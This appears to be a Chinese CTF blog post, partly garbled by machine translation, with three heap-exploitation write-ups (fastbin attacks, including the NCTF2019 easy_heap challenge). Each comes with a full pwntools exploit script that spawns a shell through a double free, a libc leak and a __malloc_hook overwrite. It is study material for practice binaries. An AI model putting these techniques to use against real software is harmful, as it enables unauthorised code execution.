pwn study concluded (nine) - Classic title finishing three (continually updated)

pwn study concluded (nine) - Classic title finishing three (continually updated)

fastbin + stack overflow

Topic: fastbin
environment: ubuntu 16.04
Download: https: //pan.baidu.com/s/1R6-BVR91Io_ZVPDDpBcCkA extraction code: r7e5

Viewer Protection :
Here Insert Picture Description
Use ida decompile :
Here Insert Picture Description
Here Insert Picture Description
Here Insert Picture Description
Here Insert Picture Description
Here Insert Picture Description
known conditions :

  1. The main function may local variable buf is written to, and can obtain the address of buf, but read function stack overflow does not exist
  2. chunk id number address of the user application stored in the global array, the subscript equal input APPLICATIONS
  3. read_content function stack overflow can cover the next chunk first four bytes of the data area
  4. There is callsystem function, if the eip to point it to getshell

Use ideas :

  1. The buf first 8 bytes is configured chunk of the head portion
  2. Apply two the chunk , ID are 0 and 1
  3. 释放chunk1,由于是第一次释放,此时chunk1fd为0
  4. chunk0写入数据,通过溢出将chunk1的fd修改为buf的地址
  5. 再次申请chunk1,堆管理器中的下一个chunk指针将指向chunk1->fd
  6. 申请chunk2chunk2将会分配到main函数局部变量buf+8的位置
  7. chunk2写入数据,也就是向buf写入数据,并覆盖main函数返回地址为callsystem函数的地址
  8. main函数退出时,将执行callsystem函数

exp

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'

elf = ELF('./fastbin')
sh  = process('./fastbin')

callsystem = 0x804852d

def add(num):
	sh.recvuntil('Your choice:\n')
	sh.send("1")
	
	sh.recvuntil('id:\n')
	sh.send(str(num))
	
def delete(num):
	sh.recvuntil('Your choice:\n')
	sh.send("2");

	sh.recvuntil('id:\n')
	sh.send(str(num))

def read(num, content):
	sh.recvuntil('Your choice:\n')
	sh.send("3")
	
	sh.recvuntil('id:\n')
	sh.send(str(num))
	
	sh.recvuntil('content:\n')
	sh.send(content)

sh.recvuntil('Your Name:\n')
sh.send(p32(0) + p32(0x29))

sh.recvuntil('Your home is:')
buff_addr = int(sh.recvline()[:-1], 16)
#print(hex(buff_addr))

add(0)
add(1)
delete(1)
payload = 'a'*32 + p32(0) + p32(0x29) + p32(buff_addr)
read(0, payload)
add(1)
add(2)
payload = 'a'*0x12 + p32(callsystem)
read(2, payload)

#end while
sh.recvuntil('Your choice:\n')
sh.send("4")

sh.interactive()

getshell
Here Insert Picture Description

fastbin + 函数构造

题目:fastbin2
环境:ubuntu 16.04
下载地址:https://pan.baidu.com/s/1EdyxY51lrkOcbByIiIH-8A 提取码:cs3z

查看程序防护
Here Insert Picture Description
使用ida进行反编译
Here Insert Picture Description
Here Insert Picture Description
Here Insert Picture Description
Here Insert Picture Description
Here Insert Picture Description
已知条件

  1. 用户申请的chunk地址保存在全局数组中,下标等于申请时输入的id号
  2. chunk释放后,不会初始化对应的数组成员
  3. 存在system函数,但不存在"/bin/sh"字符串
  4. read_content函数中存在溢出,可以覆盖到下一个chunk数据区的前8个字节
  5. do_something函数中存在函数指针,指向*buf[id-2],参数为*(buf[id]+8),并在一定条件下执行

利用思路

  1. 申请三个chunk,id分别为0、1、2
  2. 按顺序释放chunk1chunk2,此时chunk2fd指向chunk1head
  3. chunk0的数据区开始位置写入system函数的plt地址,通过溢出向chunk1的数据区开始位置写入"/bin/sh"字符串
  4. 让函数指针指向chunk0并执行,此时函数地址为system的地址,参数为chunk2的fd+8,也就是"/bin/sh"的地址

exp

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'

elf = ELF('./fastbin2')
sh  = process('./fastbin2')

def add(num):
	sh.recvuntil('Your choice:\n')
	sh.send("1")
	
	sh.recvuntil('id:\n')
	sh.send(str(num))
	
def delete(num):
	sh.recvuntil('Your choice:\n')
	sh.send("2");

	sh.recvuntil('id:\n')
	sh.send(str(num))

def read(num, content):
	sh.recvuntil('Your choice:\n')
	sh.send("3")
	
	sh.recvuntil('id:\n')
	sh.send(str(num))
	
	sh.recvuntil('content:\n')
	sh.send(content)
	
def do(num):
	sh.recvuntil('Your choice:\n')
	sh.send("4")
	
	sh.recvuntil('id:\n')
	sh.send(str(num))
	
system_addr = elf.plt['system']
	
add(0)
add(1)
add(2)
delete(1)
delete(2)
payload = p32(system_addr).ljust(32, 'a') + p32(0) + p32(0x29) + '/bin/sh\x00'
read(0, payload)
#pwnlib.gdb.attach(proc.pidof(sh)[0])
do(2)

sh.interactive()

getshell
Here Insert Picture Description

fastbin + malloc_hook

题目:easy_heap
平台:NCTF2019
环境:ubuntu 16.04
下载地址:https://pan.baidu.com/s/1_I07Zs2IK1WRFfYJGm_yFQ 提取码:rtuh

查看程序防护
Here Insert Picture Description
使用ida进行反编译
Here Insert Picture Description
Here Insert Picture Description
Here Insert Picture Description
Here Insert Picture Description
Here Insert Picture Description
已知条件

  1. chunkdelete_node函数中被free后未初始化对应数组成员,存在double free漏洞
  2. 申请chunk时大小被限制,可将chun申请到buff处,溢出并覆盖chunk_size为任意值
  3. 可使用print_content函数泄露unsortbin地址,进而泄露libc_base

利用思路

  1. Configured buff before the 16 bytes of chunk of the head portion
  2. Through the double free the chunk request to buff + 8 at a
  3. Of buff writing, and covers the overflow chunk_size of appropriate size
  4. Leakage unsortbin , by shifting 0x3c4b78 obtained libc_base , then by shifting 0xf1147 obtained one_gadget address
  5. Get __malloc_hookfunction address, write one_gadget address; malloc when the function is executed, if __malloc_hookthere are values, which will execute the function of

exp

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'amd64'

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

sh   = process('./easy_heap')

def add(size, content):
	sh.recvuntil('4. exit\n')
	sh.send('1')
	
	sh.recvuntil('What\'s your heap_size?\n')
	sh.send(str(size))
	
	sh.recvuntil('What\'s your heap_content?\n')
	sh.send(content)
	
def delete(index):
	sh.recvuntil('4. exit\n')
	sh.send('2')
	
	sh.recvuntil('What\'s your heap_index?\n')
	sh.send(str(index))
	
def show(index):
	sh.recvuntil('4. exit\n')
	sh.send('3')
	
	sh.recvuntil('What\'s your heap_index?\n')
	sh.send(str(index))

buff_addr = 0x602060

sh.recvuntil('What\'s your name?\n')
sh.send(p64(0) + p64(49))	#构造chunk头部

#将chunk申请到buff处,写入数据并溢出覆盖chunk_size
add(32, 'a')				#id:0
add(32, 'a')				#id:1
delete(0)
delete(1)
delete(0)
add(32, p64(buff_addr))		#id:2
add(32, 'a')				#id:3
add(32, 'a')				#id:4
add(32, 'a'*8 + p64(0x200))	#id:5

#泄露unsortbin的地址
add(256, 'a')				#id:6
add(256, 'a')				#id:7
delete(6)
show(6)
sh.recvuntil('heap6: ')
ubin = u64(sh.recvline()[:-1].ljust(8, '\x00'))
#print(hex(ubin))

#0x3c4b78:可通过gdb调试计算,不同版本的libc偏移可能不同
#ubin = arena + 0x88,即 libc_base = ubin - (arena-libc_base) - 0x88
libc_base = ubin - 0x3c4b78
malloc_hook = libc_base + libc.symbols['__malloc_hook']
#0xf1147:通过静态分析libc反汇编得到
one_gadget = libc_base + 0xf1147

#1. 将chunk申请到malloc_hook-0x23位置,此时chunk的size为7f(可通过调试观察)
#2. 向malloc_hook中写入one_gadget的地址
#3. 当malloc执行时,会判断__malloc_hook中是否为空,若不为空,则执行其中的函数
add(96, 'a')				#id:8
add(96, 'a')				#id:9
delete(8)
delete(9)
delete(8)
add(96, p64(malloc_hook-0x23))		#id:10
add(96, 'a')						#id:11
add(96, 'a')						#id:12
add(96, 'a'*0x13 + p64(one_gadget))	#id:13

#再次调用malloc函数,将会执行one_gadget
sh.recvuntil('4. exit')
sh.send('1')
sh.recvuntil('What\'s your heap_size?\n')
sh.send('16')

sh.interactive()

getshell
Here Insert Picture Description

Published 45 original articles · won praise 2 · Views 1815

Guess you like

Origin blog.csdn.net/qq_41988448/article/details/103755773